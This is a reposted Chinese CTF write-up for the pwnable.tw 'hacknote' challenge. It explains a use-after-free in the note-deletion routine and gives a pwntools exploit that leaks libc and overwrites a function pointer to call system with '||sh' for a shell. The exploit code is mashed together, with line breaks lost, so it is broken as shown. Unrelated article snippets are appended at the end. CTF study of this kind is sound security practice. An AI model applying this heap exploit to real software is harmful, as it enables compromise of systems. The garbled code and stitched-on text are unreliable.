pwnable.tw hacknote write up

2023-11-26 15:50
文章标签 pwnable hacknote write tw

本文主要是介绍pwnable.tw hacknote write up,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

程序分析:
程序有四个操作:
1.Add note
2.Delete note
3.Print note
4.Exit

1.Add note
在bss段中存放note的指针,每一个note 包含两个堆块,add的过程中第一个堆块的数据区的开始四字节存放调用puts的函数地址(0x804862b),随后四个字节存放后面存放content 的堆块的地址

2.Delete note
漏洞点发生在Delete 操作中,在调用free函数的过程中没有把free掉的指针置为NULL,造成指针悬挂,从而造成UAF漏洞

3.Print note
创建的堆的结构大致如下:

--------> 前一个堆块的大小或数据
--------> 当前堆块的大小
--------> 要调用的函数的地址
--------> 包含content的堆块的地址
--------> 填充内容

在0x804862b 处的函数中调用puts,然后将当前传入的参数+4 ,在进行寻址就可以访问到content的内容

漏洞利用:

先创建两个大小不为8 的note,假设编号依次为0, 1

然后再delete(1), delete(0)

之后addnote(8, payload),这个堆块编号为2
在这次add操作中 addnote函数中第一次malloc(8) 会重用到编号为0的堆块,指定size为8,会重用到编号为1的堆块,payload就是写入堆块1的数据

布置好数据后调用printnote(1),就可以泄露出libc的地址

之后只要再触发一次漏洞就可以getshell
要注意的是第二次触发漏洞的时候函数指针和函数参数都是ptr[v1],所以布置system函数的参数需要" addr_system||sh"的形式
system(“yahooo||sh”);
不影响getshell

EXP:

from pwn import *
import structcontext(os='linux', arch='i386', log_level='debug')
debug = 1
d = 1if debug == 0:p = process("./hacknote")if d == 1:context.terminal = ['tmux', 'splitw', '-h']gdb.attach(proc.pidof(p)[0])
else:p = remote("chall.pwnable.tw", 10102)def addnote(size, content):p.sendlineafter("Your choice :", "1")p.recvuntil("Note size :")p.sendline(str(size))p.recvuntil("Content :")p.sendline(content)def delete(index):p.sendlineafter("Your choice :", "2")p.recvuntil("Index :")p.sendline(str(index))def print_note(index):p.sendlineafter("Your choice :", "3")p.recvuntil("Index :")p.sendline(str(index))def exit():p.sendline("4")elf = ELF("./hacknote")
libc = ELF("./hnlibc_32.so.6")got_puts = elf.got['puts']
plt_puts = elf.plt['puts']
call_puts = 0x804862b
addnote(16, "pwn")addnote(32, "chunk")delete(1)delete(0)payload = p32(call_puts) + p32(got_puts) + 'a'*3
addnote(8, payload)print_note(1)
addr_puts = p.recvline()[:4]
print "addr_puts-> " + str(len(addr_puts))addr_puts = struct.unpack("<I", addr_puts)[0]print("addr_puts-> " + hex(addr_puts))libc_base = addr_puts - libc.symbols['puts']
addr_system = libc_base + libc.symbols['system']
binaddr = libc_base + libc.search("/bin/sh\0").next()addnote(48, "getshell")delete(3)delete(0)#payload = p32(addr_system) + p32(binaddr) + 'a'*3
addnote(8, flat([addr_system, "||sh"]))print_note(1)p.interactive() 

结果:
在这里插入图片描述

这篇关于pwnable.tw hacknote write up的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/425962

相关文章

Unstructured cannot write mode RGBA as JPEG 错误解决

Unstructured cannot write mode RGBA as JPEG 错误解决 0. 错误详细1. 解决方法 0. 错误详细 Image Extraction Error: Skipping the failed imageTraceback (most recent call last):File "/root/miniconda3/envs/learn-y

70-java write类应用场景

在Java中,我们可以使用java.io包中的FileWriter和BufferedWriter类来写入数据到文件。以下是一个简单的例子,展示了如何使用FileWriter和BufferedWriter来写入数据到文件: import java.io.BufferedWriter;import java.io.FileWriter;import java.io.IOException;pub

SylixOS write 0 字节问题

1 问题描述 在移植中间件过程中,在SylixOS调用write函数写入0字节的数据到文件中时,会导致对应的中间件测试用例失败,失败的原因是文件系统中的write函数在Linux系统和SylixOS有区别,两种实现的差别如下。 2 write函数的实现机制 2.1 SylixOS实现机制 在SylixOS下通过write 函数写数据到普通文件中时,第一步会判断写入的数据是否为0,如果是0直

Java 入门指南:Java 并发编程 —— Copy-On-Write 写时复制技术

文章目录 Copy-On-Write使用场景特点缺点CopyOnWrite 和 读写锁相同点之处不同之处 CopyOnWriteArrayList适用场景主要特性方法构造方法CopyOnWriteArrayList 使用示例 CopyOnWriteArraySet适用场景主要特性方法构造方法使用注意事项CopyOnWriteArraySet 使用示例 Copy-On-Writ

df.write.csv

# 将 DataFrame 写入 CSV 文件# 拆分 ArrayType 列df_exploded = df.withColumn("interests", explode("interests"))print("\nExploded DataFrame:")df_exploded.show(truncate=False)# 写入 CSV 文件df_exploded.write.csv

redis被攻击redis READONLY You can‘t write against a read only slave.

redis 日志路径 /var/log/redis 拿下来后发现有这种错误 Operation now in progress 可能是网络断开导致, 查找redis whereis redis 修改 vim /etc/redis.conf 大概在300行 下面代码yes改no slave-read-only no 重启redis sudo systemctl restart

Lua io.write(“\27[2J”)

Programming in Lua 第六章 More About Function 开头有一个例子。它在终端屏幕上输出一个用*号组成的正弦曲线: function eraseTerminal()io.write("\27[2J")end-- writes an `*' at column `x' , row `y'function mark (x,y)io.write(stri

python write和writelines的区别

python write和writelines的区别 file.write(str)的参数是一个字符串,就是你要写入文件的内容.file.writelines(sequence)的参数是序列,比如列表,它会迭代帮你写入文件。

write your own xx-starter【1】

在springboot 中,我们加入例如mybatis-spring-boot-starter,接着在application.yml配置数据库信息,就可以使用mybatis了,无需我们手动进行配置 这就是springboot威力,那么他是如何实现的呢?简单来说类似于java SPI机制, 通过在启动容器的某个阶段,加载某个路径下特殊文件中的类来实现自动配置 实际上这个文件就是位于META-IN

UNIX网络编程——epoll 的accept , read, write

在一个非阻塞的socket上调用read/write函数,返回EAGAIN或者EWOULDBLOCK(注:EAGAIN就是EWOULDBLOCK)。        从字面上看,意思是:  EAGAIN: 再试一次 EWOULDBLOCK:如果这是一个阻塞socket, 操作将被block perror输出:Resource temporarily unavailable 总结: